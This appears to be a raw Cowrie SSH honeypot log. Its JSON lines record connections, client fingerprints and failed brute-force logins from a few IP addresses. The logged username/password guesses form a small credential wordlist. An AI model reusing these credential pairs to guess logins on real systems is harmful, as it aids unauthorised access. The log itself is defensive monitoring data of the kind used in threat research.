{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:09.724852Z","src_ip":"91.92.40.171","session":"9b7932468287","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:10.907237Z","src_ip":"91.92.40.171","session":"9b7932468287","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:11.054796Z","src_ip":"91.92.42.133","session":"3a96e750dab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39842,"dst_ip":"159.203.135.109","dst_port":22,"session":"c71136328464","protocol":"ssh","message":"New connection: 91.92.42.133:39842 (159.203.135.109:22) [session: c71136328464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:14.896530Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":59284,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c0274bf1e4b","protocol":"ssh","message":"New connection: 91.92.40.171:59284 (159.203.135.109:22) [session: 8c0274bf1e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:14.914019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:14.920561Z","src_ip":"91.92.40.171","session":"8c0274bf1e4b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:14.935121Z","src_ip":"91.92.42.133","session":"c71136328464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:14.996733Z","src_ip":"91.92.40.171","session":"8c0274bf1e4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:15.097152Z","src_ip":"91.92.42.133","session":"c71136328464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:15.323318Z","src_ip":"91.92.40.171","session":"8c0274bf1e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"root","message":"login attempt [home/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:15.656673Z","src_ip":"91.92.42.133","session":"c71136328464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:16.699590Z","src_ip":"91.92.40.171","session":"8c0274bf1e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:16.908550Z","src_ip":"91.92.42.133","session":"c71136328464","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":53038,"dst_ip":"10.17.0.5","dst_port":22,"session":"71fbd9d6a09b","protocol":"ssh","message":"New connection: 45.140.193.156:53038 (10.17.0.5:22) [session: 71fbd9d6a09b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:20.052305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:20.056509Z","src_ip":"45.140.193.156","session":"71fbd9d6a09b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:20.181448Z","src_ip":"45.140.193.156","session":"71fbd9d6a09b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":59340,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ebeaf46f9a2","protocol":"ssh","message":"New connection: 91.92.40.171:59340 (159.203.135.109:22) [session: 9ebeaf46f9a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:20.523852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:20.528223Z","src_ip":"91.92.40.171","session":"9ebeaf46f9a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:20.608522Z","src_ip":"91.92.40.171","session":"9ebeaf46f9a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maya","password":"maya","message":"login attempt [maya/maya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:20.665819Z","src_ip":"45.140.193.156","session":"71fbd9d6a09b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:20.849621Z","src_ip":"91.92.40.171","session":"9ebeaf46f9a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39896,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0e9f1ca4cf3","protocol":"ssh","message":"New connection: 91.92.42.133:39896 (159.203.135.109:22) [session: e0e9f1ca4cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:21.699934Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:21.781833Z","src_ip":"45.140.193.156","session":"71fbd9d6a09b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:21.969599Z","src_ip":"91.92.40.171","session":"9ebeaf46f9a2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:22.010479Z","src_ip":"91.92.42.133","session":"e0e9f1ca4cf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:22.013594Z","src_ip":"91.92.42.133","session":"e0e9f1ca4cf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:24.144679Z","src_ip":"91.92.42.133","session":"e0e9f1ca4cf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:25.383681Z","src_ip":"91.92.42.133","session":"e0e9f1ca4cf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":54274,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d9176bd1d39","protocol":"ssh","message":"New connection: 91.92.40.171:54274 (159.203.135.109:22) [session: 5d9176bd1d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:25.954323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:26.131997Z","src_ip":"91.92.40.171","session":"5d9176bd1d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:26.135187Z","src_ip":"91.92.40.171","session":"5d9176bd1d39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:26.658377Z","src_ip":"91.92.40.171","session":"5d9176bd1d39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:27.783616Z","src_ip":"91.92.40.171","session":"5d9176bd1d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55242,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fd40b395d94","protocol":"ssh","message":"New connection: 91.92.42.133:55242 (159.203.135.109:22) [session: 5fd40b395d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:29.001116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:29.522069Z","src_ip":"91.92.42.133","session":"5fd40b395d94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:29.525373Z","src_ip":"91.92.42.133","session":"5fd40b395d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:30.549467Z","src_ip":"91.92.42.133","session":"5fd40b395d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":54324,"dst_ip":"159.203.135.109","dst_port":22,"session":"f865e35e70cb","protocol":"ssh","message":"New connection: 91.92.40.171:54324 (159.203.135.109:22) [session: f865e35e70cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:31.227352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:31.307707Z","src_ip":"91.92.40.171","session":"f865e35e70cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:31.395517Z","src_ip":"91.92.40.171","session":"f865e35e70cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:31.792043Z","src_ip":"91.92.42.133","session":"5fd40b395d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:31.916865Z","src_ip":"91.92.40.171","session":"f865e35e70cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:33.045492Z","src_ip":"91.92.40.171","session":"f865e35e70cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":45622,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3da20096714","protocol":"ssh","message":"New connection: 91.92.40.171:45622 (159.203.135.109:22) [session: a3da20096714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:36.524096Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37772,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa8a9197a13b","protocol":"ssh","message":"New connection: 91.92.42.133:37772 (159.203.135.109:22) [session: aa8a9197a13b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:34:36.630599Z"}
